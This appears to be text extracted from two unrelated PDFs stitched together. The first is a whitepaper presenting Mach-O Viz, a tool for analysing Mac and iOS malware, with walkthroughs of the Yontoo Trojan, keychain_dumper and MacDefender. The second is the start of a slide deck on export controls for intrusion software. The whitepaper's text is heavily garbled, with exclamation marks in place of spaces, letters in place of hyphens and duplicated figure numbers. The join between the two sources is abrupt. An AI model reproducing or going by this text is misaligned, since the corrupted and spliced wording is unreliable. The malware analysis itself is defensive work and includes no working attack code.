App!Store!and!subsequently!right!onto!our!mobile!devices!as!witnessed!in!the!Flashback!Trojan!attack!last!year.1!! To!think!that!these!attacks!are!isolated!incidents!would!be!dangerously!naive.! Scarier!still,!even!today!there!is!a!complete!lack!of!governance!in!organizations!for!policing!mobile!devices! connected!to!their!private!network!infrastructure.!!In!one!eyeNopening!statistic,!57%2!of!IT!Managers!had!seen! mobile!related!traffic!on!their!networks!with!no!means!of!actively!enforcing!their!network!defense!guidelines.!! Many!IT!groups!believe!it's!Apple’s!responsibility!to!act!as!the!first!line!of!defense!against!Mac!targeted! threats.!!Though!OSX!and!iOS!operating!systems!have!numerous!security!mechanisms!in!place!to!significantly! reduce!Mac’s!attack!footprint,!the!assumption!that!Apple!software!can!prevent!all!malicious!software!from! appearing!on!your!desktop!or!mobile!devices!is!far!from!true.! Making!matters!worse!there!is!the!Jailbreak!community!who!play!a!catNandNmouse!game!with!Apple!security! engineers!to!circumvent!all!iOS!security!mechanisms!and!allow!installation!of!arbitrary!unsigned!binaries!on! mobile!devices.!!How!many!users!in!an!average!organization!are!bringing!in!JailNbroken!devices!to!work!and! connecting!them!to!the!local!LAN?!More!importantly,!how!many!of!those!devices!are!carrying!Malware?! The!need!for!a!better!understanding!of!the!MachNO!file!format!coupled!with!a!focus!on!network!security!are! the!primary!motivations!which!led!to!the!development!of!MachNO!Viz.!MachNO!Viz!is!a!data!visualization!tool! specifically!created!for!IT!security!engineers!and!malware!analysts!to!tackle!the!MachNO!file!format!complexity! and!provide!a!rapid!analysis!solution!for!Mac!software.!!MachNO!Viz!is!provided!free,!multiplatform!and! employs!an!array!of!open!source!software.! ! ! ! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 1!http://www.mercurynews.com/business/ci_22741463/appleNareNmacNcomputersNbecomingNmoreNvulnerableNmalwareNvirus! 2!http://www.forbes.com/sites/markfidelman/2012/05/02/theNlatestNinfographicsNmobileNbusinessNstatisticsNforN2012/! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! Why!a!New!Tool?! ! ! At!ANRC,!we’ve!been!tackling!the!MachNO!malware!problem!internally!in!our!research!and! development!efforts,!so!we!understand!the!problems!posed!by!introducing!these!binaries!into!networks!illN equipped!to!process!them!through!their!standard!network!defense!systems.!!With!most!of!the!world! practicing!a!WindowsNcentric!ideology!with!regard!to!security!appliances,!coupled!with!a!ridiculously!complex! file!specification!from!Apple,!we!felt!the!need!to!delve!deeper!into!the!problem!by:! • Examining!and!evaluating!the!existing!tools!available!to!help!decipher!the!MachNO!format.! • Finding!working!examples!of!security!products!equipped!to!process!MachNO!malware.! • Attempting!to!find!a!tool!that!could!analyze!these!files!regardless!of!the!underlying!architecture.! • Researching!a!better!way!to!view!the!file!internals!of!MachNO!files.! ! We!examined!any!MachNO!tool!we!could!find!to!help!aid!the!analysis!of!potentially!malicious!binaries!that! could!be!on!i386,!x86_64!or!ARM!architectures.!!The!focus!on!these!targets!was!intentional!to!make!sure!the! binaries!were!likely!generated!using!XCode,!Apple’s!development!IDE,!or!llvm/gcc.!!The!following!chart!lists! the!results!of!our!initial!research!efforts!and!helped!drive!our!design!and!development!for!MachNO!Viz.! ! Tool' Graphic' Multiple'Architectures' Network' Security' Aware' Easy'to' Understand' Ease'of'Use' IDA!Pro! Yes!(sometimes)! Yes! No! No! No! otool! No! Yes! No! No! No! classNdump! No! Objc!Only! No! Yes! Yes! Machoview! Yes! Yes! No! No! Yes! ptool! No! Yes!(old/no!support)! No! No! Yes! otoolNng! No! Yes!(old/no!support)! No! No! No! hopper! Yes!(sometimes)! Yes! No! No! No! Figure!1.!Evaluation!of!existing!MachNO!tools!(Green=Meets!Need,!Red=Does!Not!Meet,!Yellow=Some!Need!Met)! ! The!design!for!MachoNViz!centered!on!fusing!the!advantages!offered!by!these!tools!and!then!adding!a!focus!on! network!security!as!well.!Ultimately!the!goal!is!to!help!the!network!defender!understand!the!MachNO!file! format!better!and!provide!a!method!to!effectively!and!efficiently!analyze!a!particular!binary!for!malicious! behavior.!!One!of!the!essential!elements!in!the!MachoNViz!tool!design!was!the!need!for!a!simple!interface! supporting!a!powerful!and!accurate!data!analytics!engine!that!would!yield!results!comparable!to!an!advanced! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! disassembler.!!Additionally!we!wanted!to!make!the!tool!free!to!the!public!to!help!increase!security!awareness! and!benefit!the!reversing!community!that!is!struggling!to!keep!up!with!malicious!MachNO!binaries.! Introducing!Mach:O!Viz! ! ! MachNO!Viz!was!developed!to!introduce!the!idea!of!presenting!a!MachNO!binary!visually!which!in!turn! makes!it!easier!for!anyone!to!see!how!the!file!is!constructed,!i.e.!how!it!is!formed!from!the!header!through!the! load!commands!and!into!all!of!its!corresponding!segments.!!In!addition!to!visualizing!the!file!itself!we!wanted!a! powerful!backNend!graph!visualization!and!analytics!system!for!graphing!the!binary’s!disassembly!for!the!top!3! platforms:!i386,!x86_64!and!ARM6/7.!!The!fundamental!component!was!to!keep!this!process!as!visual!as! possible!while!maintaining!a!simpleNtoNuse!interface.! With!data!visualization!in!mind,!the!next!challenge!was!to!make!the!tool!as!crossNplatform!as!possible.!!The! desire!was!for!client!access!to!the!interface!to!be!simple!regardless!of!platform!(mobile,!desktop,!android,!osx,! iOS!…etc).!!With!mobility!and!crossNplatform!interoperability!important!requirements,!we!decided!to! implement!MachNO!Viz!as!an!HTML5/JavaScript!front!end!using!a!Mac!OSX!Server!backend.!!Additional!design! features!include:! • Use!any!client!capable!of!running!HTML5/JavaScript,!thereby!significantly!increasing!the!types!of! devices!that!could!make!use!of!MachNO!Viz.! • Keep!the!backNend!as!“Mac”!as!possible.!!We!wanted!to!rely!on!Apple’s!updates!of!the!MachNO! spec!and!its!tools,!such!as!otool,!in!their!native!environment.!!This!would!keep!MachNO!Viz!updated! and!relevant!by!default.!! • Gain!access!to!the!LLVM!disassembler!for!the!most!accurate!ASM!we!can!feed!into!our!analytics! engine.! • Make!use!of!as!many!Open!Source!utilities!that!added!benefit!as!possible.! The!initial!interface!designed!morphed!several!times!until!we!found!a!common!ground!that!included!both!the! File!Structure!Visualization!and!the!Function!Graphing!Visualization.!!The!combination!of!these!produced!a! simpleNtoNnavigate!interface!where!visual!interactivity!was!key!(Figure!2).! The!File!Structure!Visualization!was!developed!in!a!drillNdown!type!of!style!capable!of!driving!the!user!deeper! into!the!fields!represented!by!the!major!segments.!!For!example,!clicking!“Load!Commands”!in!the!1st!level!tier! would!drill!down!so!that!you!see!a!visual!representation!of!all!of!the!individual!load!commands!and!could! subsequently!drill!even!deeper!into!an!individual!command!(Figure!3).!The!File!Structure!Visualization! interfaces!with!the!Function!Graphing!Panel,!as!well,!allowing!you!to!dump!various!segments!into!its!Hex! Editor!for!easy!viewing.!!In!addition,!the!files!__TEXT!segment!is!automatically!analyzed!and!graphed!by!a! powerful!analyticsNgraphing!engine!(Figure!4).! ! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! ! Figure!2.!File!Structure!Visualization.! ! Figure!3.!Drilling!Down!into!Load!Commands! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! ! Figure!4.!Interactive!Function!Graphing!Visualization! The!Function!Graphing!Visualization!provides!an!interactive!method!of!navigating!the!disassembly!of!the! binary’s!__TEXT!segment!while!focusing!on!functional!code!blocks,!i.e.!sequences!of!basic!blocks!that!perform! a!specific!task.!!In!addition!to!the!interactive!graph!component,!we!also!introduced!methods!for!processing! and!analyzing!the!data!for!display!in!context!specific!Views:!Hex!View,!Strings,!ObjectiveNC,!Disassembly!View! and!Network!Security.! The!data!and!static!information!segments!can!be!displayed!in!the!Hex!View!while!Strings!provides!a! breakdown!of!codeNreferenced!data.!!For!example,!to!see!all!the!strings!available!in!the!binary,!a!user!can!click! between!the!segments!“CString”!and!“String!Table”!and!display!those!in!Hex!View.!!Clicking!the!“Strings”!tab! displays!only!those!strings!that!have!been!resolved!in!the!code!itself!and!ultimately!show!up!in!the!Graph! Visualization.!! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! To!view!ObjectiveNC!data!structures,!the!ObjectiveNC!tab!provides!this!information!using!the!open!source!tool! ClassNdump3,!which!was!been!integrated!into!MachNO!Viz’s!interface.! The!Disassembly!View!provides!a!paginated!and!colored!interface!to!the!file’s!disassembly.!!This!allows!a!user! to!see!all!of!the!instructions!(not!just!the!function!graphs)!in!a!clickable!fashion.! MachNO!Viz,!with!a!heavy!emphasis!on!the!information!security!risk!of!MachNO!binaries,!focuses!on!Security!by! introducing!2!unique!features:! 1. Identifying!code!segments!which!are!using!API’s!and!Functions!flagged!as!Security!Risks.! 2. Identifying!and!automatically!generating!network!and!static!file!signatures!for!the!binary.! o MachNO!Viz!does!this!in!2!ways:! a) By!detecting!network!domains,!ip!addresses,!urls!&!web!protocols!embedded!in!the! binary.! b) Calculating!a!unique!binary!signature!for!the!file!itself!using!MachNO!MAGIC!value!in!the! file’s!header!plus!a!unique!16!bytes!from!the!binary’s!String!Table.! The!images!below!(Figure!5,!6)!demonstrates!these!features:! ! Figure!5.!Flagging!risky!API’s!and!functions!in!use!by!the!MachNO!binary.! ! Figure!6.!Automated!signature!generation!for!arbitrary!MachNO!files.! MachNO!Viz!separates!itself!from!more!complicated!tools,!such!as!debuggers!and!disassemblers,!by!displaying! the!file’s!structure!as!graphically!as!possible!while!still!providing!the!underlying!assembly!structure!for!more! advanced!users!(Figure!7).!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 3!http://stevenygard.com/projects/classNdump/! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! ! Figure!7.!Disassembly!View!available!for!inNdepth!analysis.! ! ! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! Demonstrating!Mach:O!Viz’s!Features:!Analysis!of!CustomInstaller!a.ka.!Yontoo!Trojan! ! ! To!demonstrate!the!effectiveness!of!MachNO!Viz!against!current!malware!and!also!exercise!some!of!its! features,!we’ll!analyze!a!relatively!new!sample!called!the!Yontoo!Trojan.!!This!nasty!piece!of!malware!“installs! itself!as!a!browser!plugNin!and!infects!Google!Chrome,!Firefox,!and!Safari!Browsers!via!Adware.”4! This!malware!sample!also!demonstrates!that!Mac!operating!systems,!OSX!in!this!case,!are!still!very!much! vulnerable!to!infection.!!The!Yontoo!Trojan!relies!on!the!user!to!enable!the!infection!by!masquerading!as!a! browser!HD!video!plugin!(Figure!8)!to!social!engineer!the!user!into!downloading!and!installing!it.!!This!tactic!is! not!new.!!Fooling!an!unsuspecting!user!into!opening!malicious!attachments!and!downloads!to!compromise! their!own!systems!continues!to!be!a!technique!used!by!attackers!because!it's!simple!and!it!works.! ! Figure!8.!CustomInstaller!social!engineering!the!user!into!installing!a!“HD”!codec.! Uploading!the!file!to!MachNO!Viz!will!kick!start!the!automatic!analysis,!which!lasts!between!several!seconds!to! several!minutes!depending!on!the!size!of!the!file!and!its!complexity!(ex.!number!of!functions).!!During!this! process!MachNO!Viz!performs!the!following!functions:! • Parses!the!file!structure!to!build!the!file!visualization’s!header,!load!commands,!text!and!data! segments.! • Scans!and!detects!basic!blocks,!and!from!those!basic!blocks!builds!functions.! • Builds!DOT!(GraphViz!format)!files!for!the!graph!visualization.! • Resolves!strings,!names!and!ObjC!components!in!the!code!(__TEXT)!segment.! • Conducts!a!security!scan!of!the!file!and,!where!applicable,!builds!automated!SNORT!signatures!for! static!file!and!network!traffic!detection.! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 4!http://www.ibtimes.com/yontooNtrojanNnewNmacNosNxNmalwareNinfectsNgoogleNchromeNfirefoxNsafariNbrowsersNadwareN1142969! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! Once!the!initial!analysis!concludes,!we!are!presented!with!MachNO!Viz’s!interactive!user!interface!showing! both!file!and!the!function!graph!visualizations!(Figure!9).!!In!addition,!the!Security!Assessment!section!warns! us!of!15!identified!risks!(based!on!method,!function!or!API)!that!we!should!focus!our!attention!on!(Figure!10).! ! ! Figure!9.! The!function!graph!visualization!automatically!calculates!the!program’s!entry!point!and!places!us!at!the! “main”!or!start!of!the!CustomInstaller!program!(Figure!11).! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! ! Figure!10.!Security!Assessment!identifies!15!risks!that!should!be!examined!in!further!detail.! ! Figure!11.!The!function!visualization!calculates!and!displays!the!start/main!in!graph!view.! Continuing!to!view!the!analysis!results,!we!find!under!the!Strings!tab!four!codeNreferenced!string!values!which! allows!us!to!further!highlight!the!trojan’s!potential!malicious!nature!(Figure!12).! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! ! Figure!12.!MachNO!Viz’s!analysis!engine!locates!important!strings!and!resolves!them!to!the!code!segment.! The!ObjectiveNC!view!provides!us!information!about!harvested!data!structures,!including!their!implementation! addresses.!!This!provides!us!with!a!powerful!combination!to!zero!in!on!major!functions!of!interest!to!analyze.!! In!addition,!these!data!structures!hint!at!the!true!nature!of!this!binary.!For!example,!we!find!an!interface! declaration!for!an!“ExtensionsInstaller”!that!clearly!references!installation!support!for!Firefox,!Chrome,!and! Safari.!!ClassNdump!(Figure!13)!also!provides!us!with!their!implementation!address!that!can!be!placed!into!the! graphing!visualization!for!display.! ! Figure!13.!!ObjectiveNC!tab!provides!important!information!on!declarations!and!data!structures.! Taking!this!valuable!information,!we!can!search!this!address,!for!example,&0x1000229db,!which!is!the!method! that!appears!to!install!the!Yontoo!trojan!browser!extension!into!Safari,!into!MachNO!Viz’s!Interactive!Function! Search!and!generate!the!function!graph.! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! ! Figure!14.Zoomed!out!view!of!function!0x1000229db,!implementation!function!for!Yontoo!installation!into!Safari.! We!can!further!dissect!this!function!to!find!out!how!the!browser!extension!is!installed!by!leveraging!the!inN depth!analysis!and!x86_64!string!resolution!already!conducted!by!MachNO!Viz.!!The!function!begins!by!locating! the!path!to!the!Safari!Extensions!that!have!been!resolved!correctly!(Figures!15,16).! ! Figure!15.!String!address!for!Safari!extension!path!correctly!resolved!during!initial!analysis.! ' Figure!16.!AutoNgenerated!string!“str_LibrarySafariEx”!identifies!user’s!Safari!extension!directory.! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! Once!the!Extension!directory!is!located,!the!installer!proceeds!to!update!Safari’s!Extensions.plist!(Figure!17,18)! and!then!copies!and!enables!the!new!extension!to!successfully!complete!the!install.! ! Figure!17.!AutoNgenerated!string!“str_LibrarySafariEx”!identifies!user’s!Safari!extension!directory.! ! ! Figure!18.!Strings!tab!shows!us!the!string!in!question.! ! Figure!18.!AutoNgenerated!string!“str_Enabled”enables!the!new!extension!in!Safari.! ! Finally,!we!can!see!the!edge!case!wherein!if!the!plugin!already!exists!the!installation!routine!for!Safari!jumps! past!the!code!to!install!and!enable!the!plugin!and!simply!exits!the!function.!!MachNO!Viz’s!ability!to! dynamically!zoom!in!and!out!easily!draws!this!branch!to!our!attention!and!allows!us!to!“color”!the!code!path! in!question!(Figure!19).! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! ! Figure!19.!Code!highlighting!the!branch!that!finds!the!Yontoo!plugin!installed!and!exits.! ! To!find!crossNreferences!to!this!Safari!extension!installation!function,!we!can!simply!search!under! “Names/XRefs”!in!the!Interactive!Graph!Function!Search!panel!for!the!address!0x1000229db.!!Alternatively,! we!could!have!made!our!way!to!this!function!by!searching!under!“Strings”!for!occurrences!of!the!string! “str_Extensionsplist”.! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! ! Figure!20.!Exercising!some!of!MachNO!Viz’s!interactive!search!capabilities!to!locate!the!same!function.! ! The!Network!Security!tab!(Figure!21)!is!equally!important.!In!this!case!MachNO!Viz!has!provided!us!with!a! wealth!of!SNORT!style!signatures!clearly!targeting!both!the!network!traffic!generated!by!the!Yontoo!Trojan,!as! well!as!a!static!file!signature!to!prevent!future!infection.!!For!the!network!security!administrator,!simply! uploading!the!Yontoo!Trojan!binary!CustomInstaller&into!MachNO!Viz!and!navigating!to!this!Network!Security! tab!would!provide!immediate!feedback!and!assistance!in!detecting!and!containing!this!real!and!very!recent! Mac!OSX!malware!threat!rapidly!until!a!more!thorough!analysis!and!signature!could!be!created!(if!necessary).! ! ! Figure!20.!MachNO!Viz’s!Network!Security!tab!autoNgenerates!valuable!network!defense!signatures!for!us.! ! ! ! ! ! ! ! ! ! ! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! Analysis!of!keychain_dumper:!iOS!Hacker!Utility! ! ! Keychain!Dumper5!is!a!popular!utility!for!dumping!all!passwords!saved!within!iOS’s!keychain.!! Installation!of!this!utility!assumes!the!iOS!device!(iPhone,!iPad,!etc.)!has!been!jailbroken.!!Analyzing!this!file! with!MachNO!Viz!will!exercise!the!disassembly!analysis!engine’s!ability!to!handle!ARM7!instructions!while! providing!ObjectiveNC!and!String!information,!when!applicable.! After!uploading!the!keychain!dumper!binary!into!MachNO!Viz!and!drilling!down!into!the!header,!we!can!verify! that!it!has!been!compiled!as!an!ARM!architecture!(Figure!21).! ! Figure!21.!Keychain!dumper!header!shows!ARM!architecture!as!the!target!for!this!binary.! ! In!addition,!we!can!verify!that!the!file!has!not!been!code!signed!by!examining!the!ENCRYPTION_INFO!load! command!(Figure!22).!!Also!notice!as!we!drill!into!the!load!commands!the!“bread!crumbs”!in!the!topNleft!give! us!a!simple!history!of!how!we!managed!to!navigate!to!this!field.!!This!useful!feature!allows!simple!navigation! of!the!MachNO!file!format!load!commands,!which!can!become!cryptic!and!complicated!in!a!standard!console! data!dump.!!By!presenting!the!same!information!in!a!visual!file!structure,!we!can!easily!find!the!fields!of! interest!and!concentrate!only!on!those.! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 5!https://github.com/ptoomey3/KeychainNDumper! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! ! ! Figure!22.!Drilling!down!into!the!load!commands!we!arrive!at!ENCRYPTION_INFO!and!validate!an!unencrypted!ARM!binary.! Continuing!the!analysis!of!this!hacker!utility,!our!Security!Risk!score!is!4,!which!is!quite!low.!!From!a!network! security!threat!perspective!you!definitely!do!not!want!this!utility!floating!around;!however,!compared!to!a! malware!Trojan!or!similar!backdoor!utility,!this!binary!doesn’t!appear!to!display!malicious!API!usage.!!Our!sole! string!flagged!as!a!security!risk!turns!out!to!point!to!Apple’s!domain.! ! Figure!23.!A!low!amount!of!security!risks!demonstrates!that!lack!of!this!binary’s!ability!to!act!as!a!true!threat.! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! A!powerful!capability!of!MachNO!Viz!is!to!enumerate!and!resolve!all!ObjectiveNC!string!data!for!method!names! and!variables.!!This!allows!a!complete!enumeration!of!most!of!the!code!and!turns!malicious!code!analysis!into! technical!reading.!!Case!in!point,!the!“Names/XRefs”!(Figure!24)!of!the!keychain!dumper!utility!systematically! gives!a!general!idea!of!its!inner!workings!and!true!capability.! ! Figure!24.!ObjectiveNC!structure!and!method!enumeration!provides!immediate!value!in!quickly!triaging!this!binary.! ! The!following!methods!highlight!the!core!of!this!binary:!dumpKeychainEntitlements,!printCertificate,! printGenericPassword,!printIdentity,!printInternetPassword!and!printKey.!!The!sqlite!methods!provide!data! access!to!the!keychain!database!store.!!In!terms!of!functionality!you!can!examine!these!functions!to!confirm! they!actually!perform!“as!advertised”.! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! Let’s!conduct!a!verification!of!the!dumpKeychainEntitlements!method!to!confirm!it!does!what!it!says.!! Selecting!it!from!the!“Names/XRefs”!and!then!from!“Search!Results”!brings!the!method!into!the!Graph! Visualization!tab!(Figure!25).! ! Figure!25.!A!string!resolution!algorithm!was!developed!to!resolve!ARM7!string!references!in!MachNO!Viz.! ! It’s!important!to!note!that!in!order!to!perform!ARM!string!resolution!in!the!code,!an!instructionNtracing! algorithm!was!developed!in!order!to!resolve!these!references!for!MachNO!Viz’s!graphs.!!A!native!“otool”!code! dump!will!not!provide!this!amazingly!useful!information!to!you.!!The!figure!below!(Figure!26)!shows!an!Apple! otool!dump!of!the!same!code!sequence!without!the!string!references.! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! ! Figure!26.!Apple’s!otool!doesn’t!provide!the!deep!code!analysis!of!MachNO!Viz.! ! Further!down!the!method!we!find!the!call!to!open!the!keychain!database!along!with!a!string!referencing!a! SELECT!statement!(Figure!27).!!Our!Strings!tab!quickly!reveals!the!details!of!this!call!(Figure!28).! ! Figure!27.!Tracing!the!code!path!of!the!dumpKeychainEntitlements!method.! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! ! Figure!28.!Only!due!to!MachNO!Viz’s!string!resolution!ability!were!we!able!to!easily!track!down!this!value.! The!next!several!code!blocks!iterate!through!the!results!of!the!SELECT!statement!and!build!a!string!out!of!the! data!returned.!!The!graph!visualization!allows!us!to!color!and!observe!this!code!loop!(Figure!29).! ! Figure!29.!Graph!view!shows!us!the!SELECT!statement!and!subsequent!code!loop!to!aggregate!the!results!as!strings.! The!resulting!string!data!is!dumped!to!STDOUT!and!the!function!exits.!!As!we!have!demonstrated!in!a!matter! of!a!few!minutes,!you!can!quickly!triage!this!file!as!a!hacker!utility,!grab!and!deploy!its!flat!file!signature! (Network!Security!tab)!and!move!on!to!other!more!malicious!binaries.! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! Analysis!of!MacDefender:!OSX’s!First!Malware!Threat! ! ! MacDefender!quickly!solidified!itself!as!the!first!real!threat!to!the!OSX!operating!system!back!in!2011.!! Operating!under!the!principles!of!social!engineering,!an!unsuspecting!user!is!lured!into!installing!it!as!a! legitimate!Mac!AntiNVirus!product.!It!then!attempts!to!get!the!user’s!credit!card!number!by!asking!them!to!pay! for!the!“full”!version.!!It!also!hijacks!the!user’s!browser!to!display!sites!related!to!pornography.6! MacDefender!is!a!good!example!of!a!FAT!file!structure!whereby!a!binary!is!compiled!for!multiple!architectures! and!executes!on!the!one!detected!by!the!MachNO!loader.!!Sending!the!file!into!MachNO!Viz!illustrates!the!two! architectures!supported,!x86_64!and!i386!(Figure!30).!!Visually!we!can!also!see!that!the!x86_64!binary!is!larger! than!its!i386!counterpart!while!the!header!is!barely!a!sliver!when!weighed!against!the!actual!files.! ! Figure!30.!MachNO!Viz!correctly!parses!and!display!FAT!file!headers!with!multiple!architectures.! The!Security!Risk!field!and!Network!Security!tab!provide!us!with!immediate!feedback!as!to!the!true!nature!of! this!binary!by!highlighting!the!malicious!IP!addresses!and!domains!embedded!within!(Figure!31).! ! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 6!http://en.wikipedia.org/wiki/Mac_Defender! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! ! Figure!31.!Malicious!URL’s!and!IP!addresses!embedded!within!MacDefender!provide!quick!insight!into!its!real!intention.! ! The!sysctl!API!provides!access!to!get/set!kernel!level!attributes!and!rightfully!scores!as!a!significant!security! risk!(Figure!32)!in!the!automated!security!assessment.! ! Figure!32.Sysctl!is!not!an!API!function!you!want!your!average!OSX!binary!to!be!accessing.! Ironically,!the!“fake”!antiNvirus!comes!equipped!with!the!bells!and!whistles!to!make!you!think!that!it!is!in!fact!a! legitimate!product!as!seen!in!the!“Names/XRefs”!list!(Figure!33).! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! ! Figure!33.This!malware!author!created!routines!to!mimic!an!actual!AntiNVirus!scan.! As!part!of!the!scam!to!fool!the!user,!we!can!examine!one!of!the!AV’s!functions,!AntiVirus_IsFileInfected.!!In!a! normal!antiNvirus!this!would!be!a!complicated!feat!consisting!of!signature!based!detection!and!heuristics!to! detect!maliciousness!of!a!particular!binary.!!The!unusually!small!size!of!this!AV’s!detection!function!points!us! to!something!else!however!(Figure!34).! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! ! Figure!34.!The!world’s!smallest!AV!file!infection!detection!routine.! Focusing!in!on!the!highlighted!code!blocks!we!see!the!use!of!a!random!number!generator!to!create!the!effect! of!a!delayed!scanning!(Figure!35)!in!order!to!make!it!appear!as!if!it!is!actually!finding!viruses!while!it!displays! fake!names!to!the!user.!!Examining!more!of!the!soNcalled!functionality!reveals!more!of!same!scamming.! ! Figure!35.Fake!AV!using!random!delays!to!create!the!appearance!of!a!scan.! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! Mach:O!Viz:!Where!To!Go!From!Here! ! ! As!we’ve!demonstrated,!MachNO!Viz!can!clearly!be!used!as!an!effective!tool!for!analyzing!Mac!related! malware!both!for!the!OSX!and!iOS!operating!system!using!data!visualization.!!In!addition!to!the!many!features! already!implemented,!we’d!like!to!include!the!following!functionality!in!future!versions:! • Archiving!support!for!previously!analyzed!files.! • Take!MachNO!Viz!into!the!Cloud!for!inline!automated!scanning!of!MachNO!files!for!Enterprise!networks.! • Function!charting!across!multiple!binaries!looking!for!matching!code!sequences.! • Visually!mapping!MachNO!Viz’s!file!and!graph!structures!into!an!active!debugger!such!as!LLVM.! • Plugin!support!for!modular!enhancements.! Conclusions! ! ! MachNO!Viz!was!developed!to!fill!the!need!to!properly!and!easily!conduct!malware!analysis!on!Mac! related!malware!regardless!of!the!architecture!or!device.!!By!creating!a!terminal!like!interface!using! HTML/JavaScript!and!developing!a!powerful!backNend!analytic!engine!we’ve!managed!to!build!a!unique!and! extremely!useful!tool!to!quickly!triage!MachNO!binaries!regardless!of!their!format,!visually!display!them!and! provide!unique!and!automated!signatures!for!deployment!to!network!defense!systems.! The!ability!for!network!security!staff!and!analysts!to!react!quickly!and!accurately!to!the!latest!Mac!threats!is! critical,!especially!in!today’s!MacNcentric!world.!MachNO!Viz!provides!the!capability!required!to!easily!make! this!happen!without!sacrificing!the!power!of!a!fullNfeatured!commercial!disassembler.! ! ! ! ! ! ! ! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! About!ANRC! ! ANRC!delivers!advanced!cyber!security!training,!consulting,!and!development!services!that!provide!our! customers!with!peace!of!mind!in!a!fastNpaced!and!complex!cyber!security!environment.! ANRC!was!formed!with!two!visions!in!mind:!to!provide!the!best!and!most!current!computer!security!education! possible,!and!to!administer!that!education!through!a!revolutionary!new!approach,!endowing!our!customers! with!knowledge!that!will!truly!be!usable,!valuable,!and!retainable.!! Contact! ! Mr.!Remy!Baumgarten!! Security!Engineer,!ANRC!LLC.! 1N800N742N7931! !
pdf
Export Controls on Intrusion Software Collin Anderson (@CDA) Tom Cross (@_decius_) Do Export Controls on Intrusion Software Threaten Security Research? Truth is… we don’t know. (We’re not lawyers and this isn’t legal advice.) Truth is… the Government doesn’t know. (At least they are asking questions.) Truth is… nobody knows. (We don’t even agree about this...) Outline: 1. Some Basics a. What is the problem? b. How do export controls work generally? 2. How these new Wassenaar rules work a. IP Network Surveillance Systems b. Intrusion Software c. “Technology” for the development of Intrusion Software 3. Implications a. Could these rules regulate “full disclosure” and “open source?” b. Do these rules apply to Vulnerability Research? c. Could these rules regulate coordinated disclosure or bug bounties? d. Could these rules regulate training classes? e. What if I leave pen testing tools on my laptop when I travel? f. What about foreign coworkers or my company’s offices in other countries? g. What about reverse engineering tools? Debuggers? Exploit generators? Jailbreakers? h. If I ask BIS for permission, will I get a license? 4. What can we do about it? The Basics Surveillance is Big Business! What’s the problem? The Problem: 1. The Citizen Lab correctly identified 21 customers of Hacking Team. 2. The US DEA and US Army are customers. DEA are using the technology out of their embassy in Bogota, Colombia. 3. Hacking Team sold its technology to three agencies in Morocco. The Moroccan government's intimidation of civil society… is nothing more than an attempt to silence legitimate criticism. 4. Hacking Team have been evading the legitimate questions from UN investigators regarding the sale of technology to Sudan. 5. NICE Systems appears to have sold Hacking Team spyware to Azerbaijan, Uzbekistan, and Denmark. 6. Hacking Team are trying to secure a sale to the Rapid Action Battalion (RAB), a Bangladesh police unit described by Human Rights Watch as a “death squad” involved in torture and extrajudicial killings. 7. Hacking team reinstated support contracts with the Ethiopian government despite reports of the targeting of Ethiopian US-based journalists by Hacking Team's spyware. 8. Our lobbying of the Italian government on export controls worked. We wrote to the Italian Ministry of Economic Development, over 100 parliamentarians, and to the regional Government calling for unilateral export controls on Hacking Team's spyware. We were successful in that the Italian government implemented the controls that we had been calling for and temporarily suspended Hacking Team's operations, citing “possible uses concerning internal repression and violations of human rights”. The Solution: What is the Wassenaar Arrangement? How do export controls work in the US? <-------- ITAR (International Traffic in Arms Regs) ● Governed by the State Department ● Controls Military Items (US Munitions List) ● Includes items for “National Police” forces ● Includes Military Encryption Items ● Includes items that hinder the operation of adversary electronics ● Includes items that “exploit” the electromagnetic spectrum 